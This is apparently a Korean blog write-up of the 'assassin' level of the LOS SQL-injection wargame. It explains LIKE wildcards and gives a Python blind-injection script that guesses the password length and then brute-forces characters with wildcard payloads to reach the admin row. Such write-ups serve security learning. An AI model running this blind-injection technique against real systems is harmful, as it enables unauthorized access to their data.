
15번째 문제 assassin이다.
이번에는 쿼리문이 like로 되어 있다.
‘ 를 필터링 하기 때문에 쿼리문에서 ‘를 탈출하지 못하는데.. 계속 생각하다가 도무지 모르겠어서 구글신의 도움을 받았다.
알고보니 like 함수에 옵션이 있었다.
- ~~ where pw like ‘asd%’ —> asd로 시작하는 데이터 검색
- ~~ where pw like ‘%asd’ —> asd로 끝나는 데이터 검색
- ~~ where pw like ‘%asd%’ —> asd가 들어가는 데이터 검색
- ~~ where pw like ‘_a%’ —> 두 번째 문자가 a인 데이터 검색
% 는 0개 이상의 문자 대체, _는 1개의 문자 대체 라고 생각하면 된다.
일단 blind injection으로 해야 될 것 같아서 코드를 짰다.
import requests
import re
php = 'np0esjcmn39nr8ob72dkgh1qqd'
payload = ''
pattern = r'Hello\s[ag]'
for i in range(0,10):
payload += '_'
r = requests.get(url, params={'pw':payload}, cookies={'PHPSESSID':php})
# print(r.text)
if re.search(pattern, r.text):
print(len(payload))
break
for i in range(1,9):
payload = ''
for j in range(48,123):
payload += i * '_'
payload += chr(j)+'%'
r = requests.get(url, params={'pw':payload}, cookies={'PHPSESSID':php})
if re.search(pattern, r.text):
if 'Hello guest' in r.text:
print(f'{i} guest --> {payload}')
elif 'Hello admin' in r.text:
print(f'{i} admin --> {payload}')
payload = ''
아마 저 코드를 실행시키면 문제가 풀어져 있을 꺼다.
injection 되는 페이로드 자체가 와일드카드를 통해 답이 있기 때문이다.
실제로 코드를 실행했을 때 admin 이 print 되는 페이로드 중 하나를 아무거나 넣어보면

풀었다!
'Web > LOS' 카테고리의 다른 글
| LOS - zombie_assassin (0) | 2024.10.18 |
|---|---|
| LOS - succubus (1) | 2024.10.18 |
| LOS - giant (0) | 2024.10.18 |
| LOS - bugbear (1) | 2024.09.19 |
| LOS - darkknight (0) | 2024.09.17 |